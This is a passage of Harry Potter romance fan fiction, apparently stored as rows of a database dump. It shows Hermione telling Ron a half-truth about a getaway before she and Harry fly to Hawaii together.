</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She stood there looking at him. She knew what she should say, but it wasn&#8217;t what she wanted to say. She was tired. She was tired of thinking about this. She looked deep into those green eyes and she raised her hand up and touched his cheek. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I can&#8217;t look in those eyes and tell you that,&#8221; Hermione said. &#8220;I can&#8217;t believe I&#8217;m considering this, but okay. Let&#8217;s do it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&#8221; Harry asked, reaching up to touch her hand that still caressed his cheek. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; she said. &#8220;How are we going to do this? What about the investigation? The wedding plans?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We can put everything on hold for a week. Sirius will stay behind and continue with the investigation,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about Ron?&#8221; Hermione said, finally releasing her hand from Harry&#8217;s cheek. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know,&#8221; Harry said. &#8220;I don&#8217;t like hurting him anymore than you do, you know. But we need to do this, Hermione. Better to think about it now than five or ten years later after you&#8217;ve married him to suddenly realize that you don&#8217;t love him the way he deserves to be loved.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She nodded. &#8220;You&#8217;re right.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We should probably talk to Sirius about this first,&#8221; Harry said. &#8220;Make sure it will be okay.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said. &#8220;So where will we go?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know,&#8221; Harry said, smiling at her. &#8220;But we&#8217;ll be together.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p> '),
	(255, 14, ' <p>Authors Note: Thanks again for the kind, great reviews. You guys are awesome and they keep me going! This one is kind of short, but I promise the next couple of chapters will be longer and more exciting, but I don&#8217;t want to give too much away. Keep reading and reviewing! </p>\n\n<p>&nbsp;</p>\n\n<p>Chapter Fourteen </p>\n\n<p>Tell Me No Lies &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione smiled nervously at the female Auror who had agreed to go with Hermione when she went to tell Ron that she was leaving. She really didn&#8217;t know what she was going to tell him. She hated to lie to him, but she knew if he knew the truth, it would crush him. This was for the best, though, for all of them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had decided that Hermione should tell Ron without Harry present. She had decided to tell Ron that she felt overworked and stressed out and just wanted to spend a couple of days away from work and family and wedding plans and just relax. This was all true, but she was going to leave out the part about Harry joining her. The thought of them being alone together both excited and scared her. The proverbial can of worms was fixing to be opened and Hermione hoped it wouldn&#8217;t cause too much of a mess. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The female Auror was named Mia. She was a plain looking woman who looked to be in her early thirties. Although she had only met her a few minutes ago, Hermione thought that she seemed very nice. Mia had regaled Hermione with tales of serving alongside Harry and Sirius these past few years. Hermione had only heard half of what she&#8217;d said, though. Her mind was playing out different scenarios. She had always hated to lie, and truth be told, it was one of the one things she&#8217;d always thought she was really bad at. She had an annoying habit of stammering and going on and on about it when a simple, succinct lie would have been quite sufficient. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron knew her well. She hoped that he wouldn&#8217;t be able to tell that she was lying. She had tried his apartment, but he hadn&#8217;t been home. She decided to try the Quidditch practice fields. She and Mia were walking quickly to the fields. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione waved at the guard at the gate who ushered her and Mia inside. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron&#8217;s out on Pitch #4, Miss Granger,&#8221; the guard called after her. &#8220;The whole team&#8217;s having a practice.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Hermione said, as she and Mia walked toward the Quidditch pitch. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When they finally reached the pitch, Hermione saw that the team had yet to take to the air. Ron was embroiled in what looked like an intense meeting with the coach and his fellow players. When Ron saw her, he waved and nodded at her. </p>\n\n<p>Hermione waved back, nervously. She and Mia took a seat on one of the benches. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t get to watch much Quidditch,&#8221; Mia said, looking out at the field. &#8220;Never really got much into it. My husband, Ernie, though, is a fanatic. Do you know he scheduled our honeymoon around the Quidditch World Cup? Talk about love and devotion, huh?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled. &#8220;I know what you mean.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry used to play, didn&#8217;t he?&#8221; Mia said. &#8220;He never talked too much about it, though.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, Harry was one of the best I&#8217;ve ever seen,&#8221; Hermione said. &#8220;He was the youngest seeker at Hogwarts in over a century, you know? I used to watch him up there and just marvel at how good he was. It was a shame that he didn&#8217;t take it up professionally.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That boy was destined for greatness,&#8221; Mia said, smiling. &#8220;It was in his blood. I&#8217;m convinced he could do anything he wanted, if he set his mind to it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled. &#8220;Yeah.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He talked about you a lot, Miss Granger,&#8221; Mia said. &#8220;I&#8217;d talk to him about Ernie and he&#8217;d tell me about you and how much he cared about you. Regretted leaving you behind.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How do you do it, Mia?&#8221; Hermione said. &#8220;I mean, you&#8217;re married and you&#8217;re an Auror. I thought they discouraged things like that when you&#8217;re an Auror.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mia shook her head. &#8220;They don&#8217;t discourage it. They don&#8217;t recommend it, either, mind you. It&#8217;s not been very easy for Ernie and I.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What does Ernie do?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s a Muggle, actually,&#8221; Mia said. &#8220;Can you believe it? We met one summer after I finished at Hogwarts. I took a trip to Ireland and when I set eyes on him, I knew he was the one.&nbsp; I just felt it deep down. I looked at him and I knew that there wouldn&#8217;t be anyone else for me, but him. Of course, it took him awhile to know that, too. And it took him awhile to handle the news of me being a witch and all, but he&#8217;s really amazing. Don&#8217;t get me wrong, he can be a real pain in the arse, too, but I love that man with all my heart.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you must be apart an awful lot, though, with your job,&#8221; Hermione asked. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We are, sometimes, but I&#8217;m mostly an office Auror these days,&#8221; Mia said. &#8220;We just found out a couple of weeks ago that we&#8217;re going to have a baby.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s great, Mia,&#8221; Hermione said. &#8220;When are you due?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sometime next spring,&#8221; Mia said. &#8220;I&#8217;m only in the first trimester now. I get to spend more time at home, now, which I absolutely love. I think my days as an Auror are going to be over very soon.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione turned to say something else to Mia, but stopped when she saw Ron running toward her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, this is a nice surprise,&#8221; Ron said, smiling at her. He kissed her on the cheek and Hermione smiled, nervously. &#8220;What are you doing here, Hermione?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi, Ron,&#8221; she said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you going to introduce me to your friend?&#8221; Ron said, looking at Mia. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, of course,&#8221; Hermione said. &#8220;Um, this is Mia Thomas, she&#8217;s possibly going to be joining my staff at The Ministry. Mia, this is Ron Weasley.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shook hands with Mia. &#8220;It&#8217;s a pleasure to meet you, Mia,&#8221; he said. &#8220;So, what do you have to talk to me about? I don&#8217;t have much time. Stevens is being a real slave driver today.&#8221; He motioned toward the coach, Robert Stevens. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll just give you two a minute,&#8221; Mia said, and she walked a few feet away. She could still be near Hermione, but was out of earshot of Ron and Hermione. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled gratefully to her and sat back down on the bench. Ron joined her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So, what&#8217;s up, love?&#8221; Ron said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know that this is going to be a really terrible time to do this, Ron,&#8221; Hermione began. &#8220;But I really need a break. I&#8217;m just feeling overwhelmed by the wedding, my job, everything, really.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I always tell you that you work way too hard, Hermione,&#8221; Ron said. &#8220;You do need a break.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think so, too. I was thinking of just getting away by myself for a couple of days just to regroup and relax,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;d love to come with you, Herm,&#8221; Ron said. &#8220;But I&#8217;ve got a crucial set of games coming up and Stevens has got some endorsement deals for the team. I wouldn&#8217;t be able to go. But you should go. You deserve time off.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione hated this. He was being way too understanding. She felt about as low as a slug. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So where do you think you&#8217;ll go?&#8221; Ron asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Somewhere nice and quiet and peaceful,&#8221; Hermione said. &#8220;Somewhere in the States, probably.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That sounds lovely,&#8221; Ron said, putting an arm around her. &#8220;I&#8217;m going to miss you, though.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll miss you, too,&#8221; Hermione said, softly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about Harry?&#8221; Ron asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Hermione said, surprised. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry. Where is he going to stay? At your flat while you&#8217;re gone?&#8221; Ron asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Um, no,&#8221; Hermione said. &#8220;He&#8217;s actually going to be away for a few days on a case with Sirius.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not gone for good, though,&#8221; Ron said, concerned. &#8220;He will be back, won&#8217;t he?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He said he would,&#8221; Hermione said. She looked down at the ground. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey, Weasley,&#8221; a voice called from a few feet away. &#8220;Were you planning on playing today or are you going to use that broom to sweep up the restrooms?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was Coach Stevens who was angrily looking over at the two of them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Be right there,&#8221; Ron called to him. &#8220;Bloody man&#8217;s talent is wasted coaching Quidditch. I&#8217;m sure there is some third world country he could take over and lead as a dictator.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave a half-hearted laugh. &#8220;You better go, Ron.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron kissed her cheek and forehead once more and then got to his feet. &#8220;Well, you have a good time, Hermione. And don&#8217;t take any lab research with you. You forget about work and forget about the wedding. Just relax. I love you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione just smiled back at him and watched as he mounted his broom and took to the skies. She felt horrible for doing this and his being all mature and good-natured had only confirmed her opinion that she was an awful, terrible person. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This isn&#8217;t going to be easy, Hermione thought. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You ready to go, Hermione,&#8221; Mia said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said, taking one last look at Ron. &#8220;Let&#8217; s go.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; While Hermione was with Ron, Harry was discussing logistics with Sirius. They had met at Hyde Park and not in The Ministry. They didn&#8217;t want the details of where Harry and Hermione were going to get out. They had no idea who might be listening or if someone had planted some kind of surveillence equipment in Hermione&#8217;s office and laboratory. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So,&#8221; Sirius said. &#8220;She&#8217;s meeting you here?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;She went to tell Ron.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Surely not to tell him that she was going away with you, Harry?&#8221; Sirius said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course not,&#8221; Harry said. &#8220;She&#8217;s not going away with me, Sirius. This is just a trip so that we can get to know each other again and see if those same feelings are as strong as they once were.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s codswallop, Harry,&#8221; Sirius said. &#8220;And you know it. Those old feelings are still very much there. And we both know that the two of you alone together in paradise&#8230;well, we both know how that little scenario will play out.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sirius,&#8221; Harry said. &#8220;I don&#8217;t need to give me a lecture right now, okay?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not giving you one, Harry,&#8221; Sirius said. &#8220;I&#8217;m just saying that you need to be careful. Don&#8217;t forget that the main objective is to keep Hermione safe.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled. &#8220;You know that I&#8217;d never let anything happen to her.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; Sirius smiled. &#8220;I wish you and she the best of luck.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ah, here she is now,&#8221; Sirius said. They both watched as Hermione came striding up to them with Mia in tow. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi,&#8221; Harry said, standing up alongside Sirius to welcome them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi,&#8221; Hermione said, softly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi,&#8221; Harry said, smiling at her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mia,&#8221; Sirius said. &#8220;Thanks for filling in this afternoon.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No problem, Sirius,&#8221; Mia said. &#8220;Now if you&#8217;ll excuse me, I&#8217;m going to get on home.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll walk you,&#8221; Sirius said. &#8220;Harry, Hermione, take care of yourself and be in touch.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and Harry nodded and watched as Mia and Sirius walked away. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you ready?&#8221; Harry asked her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She just stood there looking at him. &#8220;Where are we going, Harry?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How does Hawaii sound to you?&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hawaii? I&#8217;ve never been there,&#8221; Hermione said. &#8220;I&#8217;ve heard it&#8217;s beautiful.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neither have I,&#8221; Harry said. &#8220;Don&#8217;t look so surprised. I&#8217;ve been to a lot of places, but I&#8217;ve never been there. I guess it&#8217;s not a hotbed for the Dark Arts.&#8221; </p>\n\n<blockquote>&#8220;Well, that&#8217;s good, isn&#8217;t it?&#8221; Hermione asked.</blockquote>\n\n<blockquote>&#8220;Yes, I think so,&#8221; Harry said. &#8220;Hey, Hermione. Don&#8217;t cry.&#8221; </blockquote>\n\n<p>Her lower lip had begun to tremble and he could see that her eyes had become quite watery. He quickly took her in his arms. </p>\n\n<blockquote>&#8220;I know this is hard,&#8221; he said. &#8220;But it will be worth it. You&#8217;ll see.&#8221; </blockquote>\n\n<p>She let go of him and nodded. &#8220;I know. It was just so hard to lie to him. He was all for it, you know. Me taking a break. He was so great about it and it just made me feel like more of a heel than I already did.&#8221; </p>\n\n<p>&#8220;It&#8217;ll be okay,&#8221; Harry said. &#8220;It will.&#8221; </p>\n\n<p>&#8220;I don&#8217;t want to lose you, Harry,&#8221; Hermione said, taking his hand in hers. &#8220;Promise me that however this turns out, you won&#8217;t disappear from our lives again. Please promise me that or I won&#8217;t be able to go.&#8221; </p>\n\n<p>He smiled at her. &#8220;Like it or not, you&#8217;re going to be stuck with me, however this plays out.&#8221;</p>\n\n<p>She smiled. &#8220;Okay, then. You ready to go?&#8221; </p>\n\n<p>He smiled. &#8220;Let&#8217;s go.&#8221; </p> '),
	(255, 15, ' <p>Chapter 15</p>\n\n<p>Paradise</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had decided to go the entire Muggle route to Hawaii. They flew out of Heathrow Airport at around 9:15 p.m. that night and were to arrive in Honolulu around 7:30 the next morning. It had been a long flight and more than once they&#8217;d both commented that it&#8217;d been a lot easier if they&#8217;d just apparated there. They had decided to have a totally Muggle vacation and that meant traveling the Muggle way---by airplane. </p>\n\n<p>They had enjoyed the flight so far. Hermione had gripped Harry&#8217;s hand as the plane had taken off and had held onto it tightly until the plane was safely in the air. She&#8217;d never really liked flying---be it on a broom or on an airplane. </p>\n\n<p>&#8220;It&#8217;s not that I don&#8217;t like flying,&#8221; she had told him after the plane was in the air. &#8220;It&#8217;s just the taking off part and the landing that gets me nervous.&#8221; </p>\n\n<p>They had both opted to watch the movie the airline was showing, &#8220;Sleepless in Seattle.&#8221; The movie had driven Hermione to tears and Harry to laughter. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t see how you couldn&#8217;t cry over that movie, Harry,&#8221; Hermione had said between sobs. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, they ended up together, didn&#8217;t they,&#8221; Harry said. &#8220;That&#8217;s the important thing.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said, wiping away her tears. &#8220;Kind of reminds me of us in a way. You know, this woman is engaged to marry someone else, but she can&#8217;t get this other guy out of her head and though her head tells her she should stay with her fiancee, she follows her heart to meet this man that she&#8217;s never met who&#8217;s touched her soul.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;I&#8217;m glad you decided to follow your heart, Hermione.&#8221; <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;Me too,&#8221; she said, smiling. She put her head on Harry&#8217;s shoulder then and drifted off to sleep. He followed suit a couple of seconds later.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had spent the rest of the way to Hawaii asleep. Harry had woken up first when he heard the captain come over the speaker announcing that they would soon be landing. He leaned over Hermione, who had the window seat and looked out the window. He saw a clear blue sky and an even clearer crystal blue ocean. It was amazing. He nudged Hermione awake and silently pointed to the window. She rubbed her eyes and looked out the window and gasped. 